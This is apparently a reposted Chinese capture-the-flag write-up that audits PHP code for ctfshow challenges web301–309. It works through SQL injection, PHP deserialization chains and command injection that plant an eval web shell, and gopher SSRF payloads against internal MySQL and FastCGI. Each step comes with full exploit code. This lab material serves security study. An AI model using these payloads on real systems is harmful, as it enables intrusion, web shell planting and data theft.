溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行php代碼審計

發(fā)布時間:2021-10-18 15:46:34 來源:億速云 閱讀:118 作者:柒染 欄目:網絡管理

這期內容當中小編將會給大家?guī)碛嘘P如何進行php代碼審計,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

web301

下載地址: https://ctfshow.lanzoui.com/ilMPgjfeyxa

用 seay 啥也沒審到。

直接手工來。

checklogin.php:

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    $_SESSION['error']="1";
    header("location:login.php");
    return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    $_SESSION['login']=1;
    $result->free();
    $mysqli->close();
    header("location:index.php");
    return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

這里很明顯$username,沒有過濾而產生 sql注入。

payload:

userid=1'union select 1#&userpwd=1

成功登錄,拿到flag.

web302

修改處

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

fun.php:

<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

在本地嘗試一下:

如何進行php代碼審計

構造payload:

userid=1'union select "d9c77c4e454869d5d8da3b4be79694d3"#&userpwd=1

web303

下載地址: https://ctfshow.lanzous.com/i6wtkjg1gxa

seay審計,

如何進行php代碼審計

有注入漏洞,而用戶名登陸出限制了用戶名長度無法注入。

dptadd.php:

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

dpt.php:

<?php
session_start();
require "conn.php";
if(!isset($_SESSION['login'])){
header("location:login.php");
}
?>

<?php
//注入點
    $_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
    $page=$_GET['id'];
    $sql="select * from sds_dpt order by id;";
    $result=$mysqli->query($sql);
?>

但前提是得登錄。

嘗試弱口令 admin/admin 登錄成功。

dptadd.php增加數(shù)據(jù)后,會在dpt.php中顯示數(shù)據(jù)。

如何進行php代碼審計

構造paylaod:

dpt_name=1',sds_address =(select database())#
# 得到 sds

dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
# 得到    sds_dpt,sds_fl9g,sds_user

dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")#
# 得到 flag

dpt_name=1',sds_address =(select group_concat(flag) from sds_fl9g)#

web304

增加了全局waf

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是還是可以注入。

payload:

dpt_name=1',sds_address =(select group_concat(flag) from sds_flaag)#

web305

多了waf:

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}

但是多了個反序列化寫文件漏洞點。

class.php

<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

checklogin.php:

require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

那么只需要傳cookie即可利用返反序列化寫文件。

exp:

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

echo urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>')));

得到

O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

checklogin.php傳入cookie值。即可寫入shell.

蟻劍連接:

如何進行php代碼審計

連接數(shù)據(jù)庫:

如何進行php代碼審計

如何進行php代碼審計

web306

代碼地址:https://pan.baidu.com/s/14NNHrtQayhOBN9t8Iq3V_g提取碼 wiji

開始使用mvc結構

class.php:

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

又有反序列化寫文件。但不同的是這里得手動調用函數(shù)close,而不是析構函數(shù)了。

但是在過程審計的時候,這里

login.php

<?php
require 'class.php';
session_start();
error_reporting(0);
$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
	header("location:index.php");
}

只要cookie傳入一個序列化后base64編碼后的字符串都可以成功登錄后臺,但并沒卵用。

接著審計。看看有沒有地方調用close的。

dao.php中:

<?php
require 'config.php';
require 'class.php';

class dao{
    private $config;
    private $conn;

    public function __construct(){
        $this->config=new config();
        $this->init();
    }
    private function init(){
        $this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
    }
    public function __destruct(){
        $this->conn->close();
    }

    public function get_user_password_by_username($u){
        $sql="select sds_password from sds_user where sds_username='".$u."' order by id limit 1;";
        $result=$this->conn->query($sql);
        $row=$result->fetch_array(MYSQLI_BOTH);
        if($result->num_rows>0){
            return $row['sds_password'];
        }else{
            return '';
        }
    }

}

他的析構函數(shù)正好調用$this->conn->close();,那么如果使其$this->conn為 log 類就可以成功了,恰巧這里也包含了 class.php ,require 'class.php';。

此時我們有需要去找一個調用dao的,找到index.php,

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
    header("location:login.php");
}
?>

正好包含了dao.php,而且有反序列化unserialize。

Exp:

<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}

	public function __destruct(){
		$this->conn->close();
	}
}

class log{
	public $title='log.php';
	public $info='<?php eval($_POST[1]);?>';

	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

echo base64_encode(serialize(new dao()));

把得到的字符串當作 cookie user 值訪問 index.php,就可寫入shell.

web307

下載: https://ctfshow.lanzous.com/iQQhxjgy8bi

如何進行php代碼審計

使用 seay 發(fā)現(xiàn)兩處疑似漏洞點,第一處由于方法名closelog漏洞點無法利用。

第二處:

dao.php

public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

我們可以通過 seay 全局搜索函數(shù)的功能找到那里調用此函數(shù)。

如何進行php代碼審計

審計代碼,發(fā)現(xiàn)logout.php可利用:

<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>

但是這里沒有直接包含dao.php,

我們去看看service.php,發(fā)現(xiàn)其包含dao.php的,并且service 類也有調用函數(shù)

public function clearCache(){
        $this->dao->clearCache();
    }

所以很明顯了,這里利用logout.php進行反序列化任意執(zhí)行命令的漏洞可以:

通過 service.php 調用 dao 類調用其函數(shù)

直接調用 dao.php 調用其函數(shù)

因為這里$this->config->cache_dir還需要用到cache.dir, 他是config.php 中的變量,

<?php

class config{
	public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >1.php;';
}

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}

echo base64_encode(serialize(new dao()));

web308

下載: https://ctfshow.lanzous.com/i6HyHjh8njg

與上題相比這里增加了過濾:

public function  clearCache(){
		if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
			shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
		}
	}

但是又有一尺 ssrf 可利用。

dao.php:

public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

fun.php

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

在 index.php 中被調用:

<?php
session_start();
error_reporting(0);
require 'controller/service/service.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}
?>

利用 gopherus打內網 mysql.

https://github.com/tarunkant/Gopherus

exp:

<?php
class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>


如何進行php代碼審計

得到 shell.

web309

需要拿shell,308的方法不行了,mysql 有密碼了

FastCGI是用來提高CGI程序性能的。類似于CGI,FastCGI也可以說是一種協(xié)議。簡單來說就是CGI的優(yōu)化:對于CGI來說,每一個Web請求PHP都必須重新解析php.ini、重新載入全部擴展,并重新初始化全部數(shù)據(jù)結構。而使用FastCGI,所有這些都只在進程啟動時發(fā)生一次。還有一個額外的好處是,持續(xù)數(shù)據(jù)庫連接(Persistent database connection)可以工作。

https://www.anquanke.com/post/id/186186
python2 gopherus.py --exploit fastcgi

exp:

<?php
class config{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

上述就是小編為大家分享的如何進行php代碼審計了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

php
AI